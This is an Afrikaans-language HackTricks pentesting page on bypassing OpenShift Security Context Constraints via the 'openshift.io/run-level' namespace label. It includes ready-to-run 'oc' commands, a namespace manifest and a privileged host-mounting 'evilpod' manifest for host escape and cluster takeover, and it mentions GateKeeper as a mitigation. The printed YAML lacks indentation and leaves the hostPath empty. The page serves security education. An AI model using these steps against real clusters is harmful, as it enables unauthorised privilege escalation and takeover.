# Openshift - SCC omseiling

{{#include ../../../banners/hacktricks-training.md}}

**Die oorspronklike skrywer van hierdie bladsy is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)

## Bevoorregte Namespaces

Standaard, SCC is nie van toepassing op die volgende projekte nie:

- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**

As jy pods in een van daardie namespaces ontplooi, sal daar geen SCC afgedwing word nie, wat die ontplooiing van bevoorregte pods of die monteer van die gasheer lêerstelsel moontlik maak.

## Namespace Etiket

Daar is 'n manier om die SCC-toepassing op jou pod te deaktiveer volgens RedHat dokumentasie. Jy sal ten minste een van die volgende toestemmings moet hê:

- Skep 'n Namespace en Skep 'n Pod in hierdie Namespace
- Wysig 'n Namespace en Skep 'n Pod in hierdie Namespace
```bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes
```
Die spesifieke etiket `openshift.io/run-level` stel gebruikers in staat om SCC's vir toepassings te omseil. Volgens RedHat-dokumentasie, wanneer hierdie etiket gebruik word, word daar geen SCC's op alle pods binne daardie naamruimte afgedwing nie, wat effektief enige beperkings verwyder.

<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>

## Voeg Etiket By

Om die etiket in jou naamruimte by te voeg:
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
Om 'n naamruimte met die etiket deur 'n YAML-lêer te skep:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
```
Nou mag alle nuwe pods wat in die naamruimte geskep word, nie enige SCC hê nie.

<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong></code></pre>

In die afwesigheid van SCC is daar geen beperkings op jou pod-definisie nie. Dit beteken dat 'n kwaadwillige pod maklik geskep kan word om na die gasheerstelsel te ontsnap.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Nou het dit makliker geword om voorregte te verhoog om toegang tot die gasheerstelsel te verkry en gevolglik die hele kluster oor te neem, wat 'cluster-admin' voorregte verkry. Soek na die **Node-Post Exploitation** deel op die volgende bladsy:

{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}

### Pasgemaakte etikette

Boonop, gebaseer op die teikenopstelling, kan sommige pasgemaakte etikette / annotasies op dieselfde manier as die vorige aanvalscenario gebruik word. Selfs al is dit nie gemaak vir nie, kan etikette gebruik word om toestemmings te gee, 'n spesifieke hulpbron te beperk of nie.

Probeer om na pasgemaakte etikette te soek as jy sommige hulpbronne kan lees. Hier is 'n lys van interessante hulpbronne:

- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## Lys alle bevoorregte naamruimtes
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Gevorderde uitbuiting

In OpenShift, soos vroeër gedemonstreer, kan dit om 'n pod in 'n naamruimte met die `openshift.io/run-level`-etiket te ontplooi, lei tot 'n eenvoudige oorneming van die kluster. Vanuit 'n klusterinstellingsperspektief **kan hierdie funksionaliteit nie gedeaktiveer word** nie, aangesien dit inherent is aan OpenShift se ontwerp.

Egter, versagtingsmaatreëls soos **Open Policy Agent GateKeeper** kan voorkom dat gebruikers hierdie etiket stel.

Om GateKeeper se reëls te omseil en hierdie etiket te stel om 'n kluster oorneming uit te voer, **sal aanvallers alternatiewe metodes moet identifiseer.**

## Verwysings

- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)



{{#include ../../../banners/hacktricks-training.md}}
